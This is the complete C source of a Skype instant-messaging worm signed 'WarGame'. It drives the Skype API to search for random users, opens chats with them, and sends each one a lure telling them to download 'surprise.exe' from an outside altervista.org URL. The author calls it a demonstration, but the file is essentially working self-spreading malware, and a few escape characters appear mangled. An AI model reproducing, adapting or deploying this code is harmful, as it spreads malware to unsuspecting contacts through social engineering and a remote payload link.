Skype IM Worm

Skype IM Worm

/***********************************************************************************************
* I saw many IM worms around but nothing using skype. Skype is a nice IM that let you to      *
* chat or to do VoIP call, so it is possible to use this program like a spreading vector.     *
* I tried to do direct file transfer but it didn't work so well, so I decided to send url     *
* to worm to the found users.                                                                 *
* This is only a demonstration, this is a direct action worm, it will work only if skype      *
* is installed.                                                                               *
* Greetz to: SkyOut, Nibble, izee, RadiatioN, berniee, sk0r, psyco_rabbit ... and everybody   *
* on #vx-lab and #eof-project                                                                 *
* bye bye ... by WarGame                                                                      *
***********************************************************************************************/

#include <windows.h>

/* Global handlers */
static UINT SkypeAttach;
static UINT SkypeDiscover;
static HWND Answer = NULL;
static HWND SkypeWnd = NULL;
static char rnd_nick[2];

/* generate random nicks to search */
void GetRandNick(void)
{
       
        char possible_searches[] = "qwertyuiopasdfghjklzxcvbnm";

        srand(GetTickCount());
        rnd_nick[0] = possible_searches[rand()%26];
        rnd_nick[1] = 0;

}

DWORD WINAPI S3arch(LPVOID Data)
{
        char msg[128];
        COPYDATASTRUCT cds;
   
        while(1)
        {
        GetRandNick();
        sprintf(msg,"SEARCH USERS %s",rnd_nick);
        cds.dwData= 0;
    cds.lpData= msg;
    cds.cbData= strlen(msg)+1;              
        if(!SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds))
        {
                /* skype closed */
                ExitProcess(0);
        }
        Sleep((1000*60)*3); /* every 3 minutes */
        }
}

LRESULT CALLBACK SkypeProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
        PCOPYDATASTRUCT SkypeData = NULL;
        DWORD ThreadID;
        char *found_users = NULL,*chat_cmd = NULL,*chat_id = NULL,msg_cmd[256];
        COPYDATASTRUCT cds;
       
        if(uMsg == SkypeAttach)
        {
                if(lParam == 0)
                {
                        SkypeWnd = (HWND)wParam;
                    CreateThread(NULL,0,&S3arch,0,0,&ThreadID);
                }
        }

        if(uMsg == WM_COPYDATA)
        {
                if(wParam == SkypeWnd)
                {
                        SkypeData=(PCOPYDATASTRUCT)lParam;
                       
                        if(SkypeData != NULL)
                        {
                               
                                if(strstr(SkypeData->lpData,"CHAT "))
                                {
                                        strtok(SkypeData->lpData," ");
                                        chat_id = strtok(NULL," ");
                                        /* this will send the url to everybody */
                                        sprintf(msg_cmd,"CHATMESSAGE %s Check this! http://marx2.altervista.org/surprise.exe",chat_id);

                                        cds.dwData= 0;
                    cds.lpData= msg_cmd;
                    cds.cbData= strlen(msg_cmd)+1;              
                        SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
                                }
                               
                                if(strstr(SkypeData->lpData,"USERS "))
                                {
                                        found_users = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096);
                                       
                                        if(found_users == NULL)
                                        {
                                                ExitProcess(0);
                                        }

                                        chat_cmd = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096+128);
                                       
                                        if(chat_cmd == NULL)
                                        {
                                                ExitProcess(0);
                                        }

                                        strcpy(found_users,(char *)SkypeData->lpData);

                                        strcpy(found_users,found_users+6);

                                        sprintf(chat_cmd,"CHAT CREATE %s",found_users);
                                       
                                        /* contact them */
                                        cds.dwData= 0;
                    cds.lpData= chat_cmd;
                    cds.cbData= strlen(chat_cmd)+1;              
                        SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
                                       
                                        GlobalFree(found_users);
                                        GlobalFree(chat_cmd);

                                }
                        }
                }
        }
       
        DefWindowProc( hWnd, uMsg , wParam, lParam);

        return 1; /* != 0 */
}

void MakeWindow(void)
{
        WNDCLASS wndcls;
       
        memset(&wndcls,0,sizeof(WNDCLASS));
       
        wndcls.lpszClassName = "WarSkype by [WarGame,#eof]";
        wndcls.lpfnWndProc = SkypeProc;

        if(RegisterClass(&wndcls) == 0)
        {
                ExitProcess(0);
        }

        Answer = CreateWindowEx(0, wndcls.lpszClassName, "Skype sucks!", 0, -1, -1, 0, 0,
                (HWND)NULL, (HMENU)NULL, (HINSTANCE)NULL, NULL);

        if(Answer == NULL)
        {
                ExitProcess(0);
        }
}

void RunSkype(void)
{
        HKEY hKey;
        char skype_path[MAX_PATH];
        DWORD len = MAX_PATH;
        STARTUPINFO inf_prog;
    PROCESS_INFORMATION info_pr;
        int user_ret;

#define ERROR MessageBox(NULL,"I could not find Skype !","Error!",MB_OK|MB_ICONERROR); /
                  ExitProcess(0);

       /* path of skype in registry */
                if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE//Skype//Phone",0,
                        KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS)
                {
                        ERROR
                }
        
                if(RegQueryValueEx(hKey,"SkypePath",0,NULL,skype_path,
                        &len) != ERROR_SUCCESS)
                {
                        ERROR
                }

                RegCloseKey(hKey);

                memset(&inf_prog,0,sizeof(STARTUPINFO));
            memset(&info_pr,0,sizeof(PROCESS_INFORMATION));

            inf_prog.cb = sizeof(STARTUPINFO);
        inf_prog.dwFlags = STARTF_USESHOWWINDOW;
        inf_prog.wShowWindow = SW_SHOW;

                if(CreateProcess(NULL,skype_path,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,
                        NULL,&inf_prog,&info_pr))
                {
                        MessageBox(NULL,"Allow this program in skype!","Warning!"
                                ,MB_OK|MB_ICONWARNING);
                }

                else
                {
                        ERROR
                }
}

int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
        MSG oMessage;
        SkypeAttach = RegisterWindowMessage("SkypeControlAPIAttach");
        SkypeDiscover = RegisterWindowMessage("SkypeControlAPIDiscover");
       
        RunSkype(); /* (try to) run skype */
       
        if(SkypeAttach != 0 && SkypeDiscover != 0)
        {       
                MakeWindow(); /* Create window */
                SendMessage(HWND_BROADCAST, SkypeDiscover, Answer, 0);

                while(GetMessage( &oMessage, 0, 0, 0)!=FALSE)
                {
                TranslateMessage(&oMessage);
                DispatchMessage(&oMessage);
                }
               

        }

}